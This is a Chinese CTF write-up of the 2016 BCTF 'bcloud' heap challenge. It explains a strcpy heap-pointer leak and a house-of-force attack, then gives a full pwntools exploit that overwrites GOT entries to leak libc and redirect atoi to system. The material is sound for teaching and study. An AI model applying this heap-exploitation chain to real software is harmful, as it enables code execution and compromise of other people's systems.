2016 BCTF bcloud
2018.09.18
V1NKe
 热度
℃
简介 : 比较高级利用的house of force方式,本质上来说也很简单,bctf的一道题目。
详解 : checksec :
1 2 3 4 5 6 7 ➜ bcloud checksec ./bcloud [*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/bcloud/bcloud' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
32位的程序,基本全开。
程序的增删改功能都有,是一个云笔记程序,过了一遍增删改的函数,没有发现什么问题漏洞。。展示功能相当于没有。同步笔记也基本没什么用。。
在仔细看一遍才发现,问题出在程序初始化的过程当中。程序开始会舒服name,org,host。最大64个字节。看一下输入name函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned int sub_80487A1() { char s; // [esp+1Ch] [ebp-5Ch] char *v2; // [esp+5Ch] [ebp-1Ch] unsigned int v3; // [esp+6Ch] [ebp-Ch] v3 = __readgsdword(0x14u); memset(&s, 0, 0x50u); puts("Input your name:"); readin((int)&s, 64, '\n'); v2 = (char *)malloc(0x40u); name_ptr = (int)v2; strcpy(v2, &s); sub_8048779((int)v2); return __readgsdword(0x14u) ^ v3; }
可以看见字符s和字符v2在栈中的位置刚好相差64个字节,所以在strcpy过程当中会把堆内存地址也给copy过去,在后续打印过程中:
1 printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
会泄漏堆地址。再继续看后面输入org和host部分,也有着相同的漏洞。所以我们就可以利用这一点,来覆盖top chunk的size字段。
当我们这样输入的时候:
1 2 p.sendafter('Org:\n','A'*64) p.sendlineafter('Host:\n','BBBB')
看一下堆内存分布:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pwndbg> x/60xw 0x82b5000 0x82b5000: 0x00000000 0x00000049 0x41414141 0x41414141 0x82b5010: 0x41414141 0x41414141 0x41414141 0x41414141 0x82b5020: 0x41414141 0x41414141 0x41414141 0x41414141 0x82b5030: 0x41414141 0x41414141 0x41414141 0x41414141 0x82b5040: 0x41414141 0x41414141 0x082b5008 0x00000049 0x82b5050: 0x42424242 0x00000000 0x00000000 0x00000000 0x82b5060: 0x00000000 0x00000000 0x00000000 0x00000000 0x82b5070: 0x00000000 0x00000000 0x00000000 0x00000000 0x82b5080: 0x00000000 0x00000000 0x00000000 0x00000000 0x82b5090: 0x00000000 0x00000049 0x41414141 0x41414141 0x82b50a0: 0x41414141 0x41414141 0x41414141 0x41414141 0x82b50b0: 0x41414141 0x41414141 0x41414141 0x41414141 0x82b50c0: 0x41414141 0x41414141 0x41414141 0x41414141 0x82b50d0: 0x41414141 0x41414141 0x082b5098 0x42424242 0x82b50e0: 0x00000000 0x00000000 0x00000000 0x00000000 pwndbg> p main_arena $1 = { mutex = 0x0, flags = 0x1, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x82b50d8, last_remainder = 0x0, }
可以看到top chunk处的size字段变成了host处的字符串,所以我们把size字段改成-1,64位无符号最大整数。
将top chunk申请到bss段上存储堆size的地址处,即0x804B0A0
处,再之后申请chunk任意写存储chunk ptr处的地址。达到任意写的目的。
思路 :
泄漏堆基址
利用house of force,将top chunk分配到bss段的存储size字段处,控制size字段
分配堆,控制存储ptr地址
将chunk1、chunk2、chunk3指针分别改为free@got、puts@got、atoi@got
泄漏puts函数,泄漏libc地址
修改atoi@got为system地址
这里得注意一个小问题:
要把top chunk分配到size字段的前0x8地址处,不然chunk1地址过大且无法修改,后面就会导致无法修改free@got为puts@plt。这里的小问题我也不知道为什么,总之后来控制修改为0x10就好了。整个过程不太难,就不更详细的说了,直接贴上exp。
EXP : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import * p = process('./bcloud') elf = ELF('./bcloud') libc = ELF('libc.so') context.log_level = 'debug' #leak --> heap_base_addr p.sendafter('Input your name:\n','A'*64) p.recvuntil('A'*64) data = u32(p.recv(4)) heap_base = data - 0x8 log.success('heap\'s base addr is :'+hex(heap_base)) p.sendafter('Org:\n','A'*64) p.sendlineafter('Host:\n',p32(0xffffffff)) #top_chunk extand --> bss --> size p.recvuntil('option--->>\n') p.sendline('1') payload = heap_base - 0x804B0A0 payload = -payload - 0xe0 - 8 p.sendlineafter('Input the length of the note content:\n',str(payload)) #create 2 chunks --> change the chunk1's size --> control the bss_ptr p.recvuntil('option--->>\n') p.sendline('1') p.recvuntil('Input the length of the note content:\n') p.sendline(str(0x50)) p.sendlineafter('Input the content:\n',p32(0x10)*3) p.recvuntil('option--->>\n') p.sendline('1') p.recvuntil('Input the length of the note content:\n') p.sendline(str(0x50)) p.sendlineafter('Input the content:\n','AAAA') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] free_got = elf.got['free'] atoi_got = elf.got['atoi'] #change the chunk's ptr p.recvuntil('option--->>\n') p.sendline('3') p.sendlineafter('Input the id:\n','2') payload2 = 'A'*40 + p32(free_got) + p32(puts_got) + p32(atoi_got) p.sendlineafter('Input the new content:\n',payload2) #free --> puts_plt p.recvuntil('option--->>\n') p.sendline('3') p.sendlineafter('Input the id:\n','0') payload3 = p32(puts_plt) p.sendlineafter('Input the new content:\n',payload3) log.info('puts_plt :'+hex(puts_plt)) #leak --> puts_got p.recvuntil('option--->>\n') p.sendline('4') p.sendlineafter('Input the id:\n','1') #leak --> system_addr data2 = u32(p.recv(4)) log.success('leak puts addr is :'+hex(data2)) libc_base = data2 - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] log.success('system_addr is :'+hex(system_addr)) #change the atoi_got --> system_addr p.recvuntil('option--->>\n') p.sendline('3') p.sendlineafter('Input the id:\n','2') payload4 = p32(system_addr) p.sendlineafter('Input the new content:\n',payload4) p.interactive()